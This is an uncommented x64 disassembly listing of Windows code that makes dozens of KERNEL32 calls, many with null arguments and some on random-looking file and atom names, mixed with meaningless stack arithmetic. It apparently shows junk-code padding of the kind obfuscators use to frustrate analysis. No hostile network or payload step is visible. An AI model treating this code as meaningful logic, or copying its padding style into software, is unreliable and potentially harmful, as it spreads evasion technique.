mov dword [rsp + 0x67c4], eax
lea rcx, [rsp + 0x1fe58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, str.Q5l_LJe_MDLvW0R9d
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x26a8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6afc], eax
movzx eax, byte [rsp + 0x276]
movzx ecx, byte [rsp + 0x381]
sar eax, cl
mov byte [rsp + 0x334], al
mov rax, qword [rsp + 0xb940]
mov qword [rsp + 0xeb90], rax
mov rax, qword [rsp + 0xce18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd100]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4f], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov rax, qword [rsp + 0xdaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x617c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5f2c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x672c], eax
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe120]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1c8c], ax
movzx eax, word [rsp + 0x195c]
movzx ecx, word [rsp + 0x26e0]
sub eax, ecx
mov word [0x1401c8df0], ax
movzx ecx, word [rsp + 0x229c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x278c], ax
mov rax, qword [rsp + 0xd690]
mov rax, qword [rax]
mov qword [rsp + 0xeb98], rax
mov rax, qword [rsp + 0xe6d8]
mov rax, qword [rax]
imul rax, qword [rsp + 0xe698]
mov rcx, qword [rsp + 0xeb58]
mov qword [rcx], rax
lea rcx, [rsp + 0x1d548]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xe578]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd78]
sub eax, ecx
mov word [rsp + 0x1974], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6478], eax
lea rax, [rsp + 0x2464]
mov qword [rsp + 0xeba0], rax
mov rax, qword [rsp + 0xc570]
mov eax, dword [rax]
mov rcx, qword [0x1401c8ed8]
mov qword [rsp + 0xeba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeba8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x69b4], eax
mov rax, qword [rsp + 0xeae0]
mov rax, qword [rax]
mov qword [rsp + 0xebb0], rax
movsx eax, byte [rsp + 0x404]
movsx ecx, byte [rsp + 0x41a]
sar eax, cl
mov byte [rsp + 0x64], al
lea rcx, [rsp + 0x20968]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x26530]
mov rcx, qword [rsp + 0xc850]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6b00], eax
mov rax, qword [rsp + 0xd7b8]
mov rax, qword [rax]
mov rcx, qword [0x1401c7140]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c20], rax
lea rax, [rsp + 0x19f8]
mov qword [0x1401c8f58], rax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e04], ax
mov rax, qword [rsp + 0xdc48]
mov rcx, qword [rsp + 0xcaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69c0], eax
xor r9d, r9d
lea r8, [rsp + 0xea28]
mov rdx, qword [rsp + 0xdd40]
mov rcx, qword [rsp + 0xd0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x68d8], eax
movzx eax, byte [rsp + 0x2aa]
mov byte [rsp + 0x429], al
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xcf68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb7a8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xebb8], rax
movzx ecx, word [rsp + 0x1f64]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2754], ax
mov rax, qword [0x1401c8d60]
mov rcx, qword [rsp + 0xd6e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xe970]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xdca0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xe600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb5b8], rax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x1e5]
xor eax, ecx
mov byte [rsp + 0x21f], al
lea rax, [rsp + 0x2048]
mov qword [rsp + 0xebc0], rax
movzx eax, word [rsp + 0x2778]
mov rcx, qword [rsp + 0xcef8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401c71a0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xdd38], rax
mov rax, qword [rsp + 0xda88]
mov rcx, qword [rsp + 0xcc88]
mov qword [rsp + 0xebc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xebc8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6474], eax
lea rdx, [rsp + 0x26300]
mov rcx, qword [rsp + 0xdce8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6b04], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6b08], eax
movzx eax, word [rsp + 0x25bc]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x25b8], ax
lea rax, [rsp + 0x2708]
mov qword [rsp + 0xebd0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
mov rax, qword [rsp + 0xa158]
mov rcx, qword [rsp + 0xdde0]
mov qword [rsp + 0xebd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xebd8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xe0a8], rax
mov rax, qword [rsp + 0xe198]
mov rax, qword [rax]
mov qword [rsp + 0xebe0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
lea rcx, [rsp + 0x200f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [rsp + 0x3b6]
movsx ecx, byte [rsp + 0x3a8]
sub eax, ecx
mov byte [rsp + 0x17d], al
mov rax, qword [0x1401c8ed8]
mov eax, dword [rax]
mov dword [rsp + 0x6b0c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.FE5wntePQeMiKfIPc4at
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xebe8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rcx, [rsp + 0x20b18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xeb48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2644]
sar eax, cl
mov rcx, qword [rsp + 0xcbb0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x648c], eax
movzx ecx, word [rsp + 0x20f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2790], ax
mov rax, qword [rsp + 0xdae0]
mov qword [0x1401c8f60], rax
mov r9d, 1
lea r8, [rsp + 0xda80]
mov rdx, qword [rsp + 0xd438]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x657c], eax
movzx eax, byte [str.5qKr]
movzx ecx, byte [rsp + 0x3c9]
shl eax, cl
mov byte [rsp + 0x408], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov eax, dword [rsp + 0x695c]
mov ecx, dword [rsp + 0x5884]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c94], eax
movsx eax, word [rsp + 0x1e50]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c8c], ax
movzx eax, word [rsp + 0xf00]
mov word [rsp + 0x2794], ax
mov rax, qword [rsp + 0xdc20]
mov rcx, qword [rsp + 0xde58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe498], rax
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x61e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xda08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x337], al
movsx eax, word [rsp + 0x206c]
movsx ecx, word [rsp + 0x2354]
xor eax, ecx
mov word [rsp + 0xb60], ax
movzx eax, word [0x1401c7120]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c7228], ax
mov rax, qword [rsp + 0xe5d8]
mov qword [rsp + 0xebf0], rax
mov rax, qword [rsp + 0xe568]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe648]
mov qword [rsp + 0xebf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xebf8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xd738]
mov qword [rcx], rax
lea rcx, str.76Dmdpo_GewgDO8cQ_lJo
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2798], ax
mov rax, qword [rsp + 0xdbd0]
mov rcx, qword [rsp + 0xe920]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9cb8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe5d0], rax
lea rax, [rsp + 0x1dd0]
mov qword [rsp + 0xec00], rax
mov rax, qword [0x1401c7190]
mov rcx, qword [rsp + 0xbad8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd478], rax
mov r9d, 1
lea r8, [rsp + 0xd9a0]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xcfc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6b10], eax
mov rcx, qword [rsp + 0xdf98]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6530], eax
mov rcx, qword [rsp + 0xdb68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcd18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe748]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c4], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6b14], eax
mov rax, qword [rsp + 0xd6e8]
mov rcx, qword [rsp + 0xe580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x56b8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe210], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6748], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov eax, dword [0x1401c8a1c]
mov dword [rsp + 0x6b18], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.zRBINU_fZqNHJ01zF9cEcdkPM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xec08], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, byte [rsp + 0x391]
imul eax, eax, 0xde
mov byte [rsp + 0x3db], al
movsx eax, word [rsp + 0x1684]
movsx ecx, word [rsp + 0xa10]
or eax, ecx
mov word [0x1401c7280], ax
lea rdx, [rsp + 0x263a8]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6884], eax
mov rax, qword [rsp + 0xd868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26a4]
sar eax, cl
mov word [rsp + 0x13ac], ax
lea rcx, str.H0A8Ow.Hpx7K940
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x279c], ax
lea rax, [rsp + 0x2664]
mov qword [rsp + 0xec10], rax
lea rdx, [rsp + 0x26680]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6ac0], eax
mov rax, qword [0x1401c8e18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe290]
mov qword [rsp + 0xec18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec18]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x94f0], rax
mov eax, dword [rsp + 0x5ed0]
mov dword [rsp + 0x6b1c], eax
movsx eax, byte [rsp + 0x41a]
mov rcx, qword [rsp + 0xcee8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d688]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6968], eax
movzx ecx, word [rsp + 0x2504]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27a0], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x683c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx ecx, word [rsp + 0x2358]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2730], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6b20], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xdfc8]
mov rcx, qword [rsp + 0xbeb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd28], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd360], rax
movsx eax, word [rsp + 0xbbc]
mov rcx, qword [rsp + 0xd630]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1898], ax
movzx eax, word [rsp + 0x2310]
movzx ecx, word [rsp + 0x17b0]
xor eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0xce10]
mov rcx, qword [rsp + 0xc878]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x1401c8c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd508]
movzx eax, word [rax]
mov word [rsp + 0x27a4], ax
mov rax, qword [rsp + 0xcf68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa968]
shl rax, cl
mov qword [rsp + 0xcdb0], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xdbf0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9ae8]
sar rax, cl
mov qword [rsp + 0xd088], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xec20], rax
lea rdx, [rsp + 0x26798]
mov rcx, qword [rsp + 0xc5c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x65f0], eax
mov rax, qword [rsp + 0xdd50]
mov ecx, dword [rsp + 0x6348]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5be4], eax
mov rax, qword [0x1401c8c78]
mov rcx, qword [rsp + 0xe600]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe008], rax
movzx eax, byte [rsp + 0x3dc]
mov byte [rsp + 0x42a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xec28], rax
mov rax, qword [rsp + 0xcf48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c0c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64ec], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [0x1401c8be8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b1], al
xor r9d, r9d
lea r8, [rsp + 0xdbc0]
mov rdx, qword [rsp + 0xec30]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64e4], eax
movzx eax, word [rsp + 0x2164]
mov word [0x1401c8f68], ax
movzx eax, word [rsp + 0x2148]
mov word [rsp + 0x27a8], ax
mov rax, qword [rsp + 0xe640]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd8d0]
mov word [rcx], ax
movzx ecx, word [rsp + 0x23b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2784], ax
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0xe640]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x920], ax
mov r9d, 0x298
xor r8d, r8d
lea rdx, [rsp + 0xdc80]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x66c8], eax
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67dc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe430]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
mov qword [rsp + 0xec38], rax
mov rax, qword [rsp + 0xda98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32e]
add eax, ecx
mov byte [rsp + 0x409], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x648c], eax
mov rax, qword [rsp + 0xeb20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20c0]
add eax, ecx
mov word [rsp + 0xf94], ax
mov rcx, qword [rsp + 0xdd30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f70]
xor eax, ecx
mov word [rsp + 0xda4], ax
mov rax, qword [rsp + 0xdb98]
mov rcx, qword [rsp + 0xd410]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c8dc8], rax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc990]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x68dc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xec40], rax
movzx ecx, word [rsp + 0x1f64]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2244], ax
mov rax, qword [rsp + 0xc680]
mov rax, qword [rax]
mov qword [rsp + 0xec48], rax
mov edx, 0xc3f
mov rcx, qword [rsp + 0xec40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6b24], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xdf58], rax
mov rax, qword [rsp + 0xe870]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc0b0]
sar rax, cl
mov qword [rsp + 0xe5d8], rax
movzx eax, word [rsp + 0x222c]
mov rcx, qword [rsp + 0xcaa8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcbd0]
mov word [rcx], ax
mov eax, dword [rsp + 0x6214]
mov dword [rsp + 0x6b28], eax
mov rcx, qword [rsp + 0xd670]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rcx, qword [rsp + 0xdfe8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6b2c], eax
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xde28]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x402], al
movsx eax, byte [0x1401c8a13]
mov rcx, qword [rsp + 0xdb28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0xd7a8]
mov rcx, qword [rsp + 0xc9b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xea48], rax
movzx ecx, word [rsp + 0x25c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rcx, qword [rsp + 0xe868]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [0x1401ae588]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x27ac], ax
movzx ecx, word [rsp + 0x2624]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2358], ax
lea rcx, [rsp + 0x202d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59c8]
add ecx, eax
mov eax, ecx
mov dword [0x1401c71d4], eax
mov rax, qword [rsp + 0xe0c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdd90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e54], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, qword [rsp + 0xc9f0]
movzx eax, word [rax]
mov word [rsp + 0x27b0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.f2pCBHvuYY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xec50], rax
movzx eax, word [0x1401c8d88]
movzx ecx, word [rsp + 0x21d8]
shl eax, cl
mov word [rsp + 0x910], ax
mov rax, qword [rsp + 0xdf70]
mov rcx, qword [rsp + 0xd560]
mov qword [rsp + 0xec58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xec58]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9d00], rax
movzx ecx, word [rsp + 0x2358]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f2c], ax
mov rax, qword [rsp + 0xcb58]
mov rcx, qword [rsp + 0xce58]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xad00], rax
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0xec60], rax
mov rax, qword [rsp + 0xdc98]
mov rcx, qword [rsp + 0xd680]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6764], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov word [0x1401c8f6c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.u4qA9TPPspEG7cTOr_sy
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xec68], rax
mov rax, qword [rsp + 0xd738]
mov rax, qword [rax]
mov qword [rsp + 0xec70], rax
mov rax, qword [rsp + 0xd2d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc858]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2134], ax
lea rax, [rsp + 0x6a04]
mov qword [rsp + 0xec78], rax
movzx eax, byte [rsp + 0x13d]
mov rcx, qword [rsp + 0xe410]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x334], al
mov rax, qword [rsp + 0xce08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x41a]
sar eax, cl
mov byte [rsp + 0x428], al
lea rax, [rsp + 0x6784]
mov qword [rsp + 0xec80], rax
mov rax, qword [rsp + 0xc9f8]
mov rcx, qword [rsp + 0xb5e0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe8d0], rax
movzx ecx, word [rsp + 0x2270]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2760], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov word [rsp + 0x27b4], ax
movzx eax, word [0x1401c71a0]
mov rcx, qword [rsp + 0xd018]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c7284], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xec88], rax
mov rax, qword [rsp + 0xe290]
mov rcx, qword [rsp + 0xe6d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe440], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x646c], eax
mov rax, qword [rsp + 0xd980]
mov rcx, qword [0x1401c8ed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe5d8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movsx eax, word [rsp + 0x1898]
movsx ecx, word [rsp + 0x2340]
add eax, ecx
mov word [rsp + 0x990], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6940], eax
movzx eax, word [rsp + 0x1370]
movzx ecx, word [rsp + 0xddc]
add eax, ecx
mov word [rsp + 0x1ef8], ax
mov rax, qword [0x1401c8ed8]
mov eax, dword [rax]
mov dword [rsp + 0x6b30], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x2b1]
movsx ecx, byte [rsp + 0x143]
shl eax, cl
mov byte [rsp + 0x393], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
